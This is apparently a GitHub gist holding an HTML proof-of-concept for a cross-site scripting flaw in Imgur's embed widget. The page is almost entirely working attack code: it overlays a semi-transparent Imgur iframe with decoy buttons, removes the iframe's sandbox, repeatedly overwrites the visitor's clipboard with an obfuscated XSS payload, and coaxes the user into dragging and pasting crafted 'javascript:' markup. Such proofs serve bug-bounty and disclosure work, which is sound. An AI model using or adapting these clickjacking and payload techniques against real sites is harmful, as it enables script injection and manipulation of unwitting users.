Skip to content

Instantly share code, notes, and snippets.

@keerok

keerok/poc.html Secret

Created February 25, 2021 03:26
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save keerok/870ea0733c47c9cfb36a854018fc0e75 to your computer and use it in GitHub Desktop.
Save keerok/870ea0733c47c9cfb36a854018fc0e75 to your computer and use it in GitHub Desktop.
Imgur XSS PoC
<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<meta charset="utf-8">
<title>PoC</title>
<style media="screen">
iframe{
opacity: 50%;
width: 1000px;
height: 500px;
}
#content{
position: relative;
}
#btn1{
position:absolute;
top: 30px;
left: 170px;
vertical-align: middle;
padding: 0px;
background-color: #7a297a;
color:white;
border: 2px solid #7a297a;
border-radius: 25px;
font-size: 20px;
}
#btn2{
position:absolute;
top: 120px;
left: 170px;
vertical-align: middle;
padding: 0px;
background-color: #7a297a;
color:white;
border: 2px solid #7a297a;
border-radius: 25px;
font-size: 20px;
}
</style>
</head>
<body>
<div id="btn1">Click Here</div>
<div id=content>
<div id="btn2">
</div>
<blockquote id="block" class="imgur-embed-pub" lang="en" data-id="a/lz8DAkB/embed">
<a href="//imgur.com/a/xx">Life is not the same without your loved ones ...</a>
</blockquote>
</div>
<br><br>
<p style="color: red">copy this text</p>
<input type="text" name="" value="https://images.pexels.com/photos/1108099/pexels-photo-1108099.jpeg?<<iframe/src=javascript:self.innerHTML=parent.name>img/src=x>">
<img src=boa.jpeg>
<script async src="//s.imgur.com/min/embed.js" charset="utf-8"></script>
<script type="text/javascript">
var i = 0;
var j = 0;
var ifr = '';
var x = 0;
setTimeout(function(){
ifr = document.querySelector('iframe');
ifr.style="";
ifr.removeAttribute("sandbox");
console.log(ifr);
},4000)
setInterval(function(){
navigator.clipboard.writeText("<<!<script>iframe src=javajavascriptscript:alert(document.domain)>").then(function(text){console.log(text)})
},1000)
setInterval(function(){
if(i==2){
console.log("stop counter...");
}
if(x!=1){
if(ifr.contentWindow.frames.length==1){
console.log("page change!");
btn1.innerHTML="drag the image to here!";
x=1;
}
}
},1000)
onmessage=function(event){
console.log(event);
i++;
}
onpaste=function(){
console.log("ONPASTE!");
}
ondragend=function(){
btn1.innerHTML="";
setTimeout(function(){
btn1.innerHTML="";
btn2.innerHTML="copy the red text and paste here after that, press enter!";
},1100)
}
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment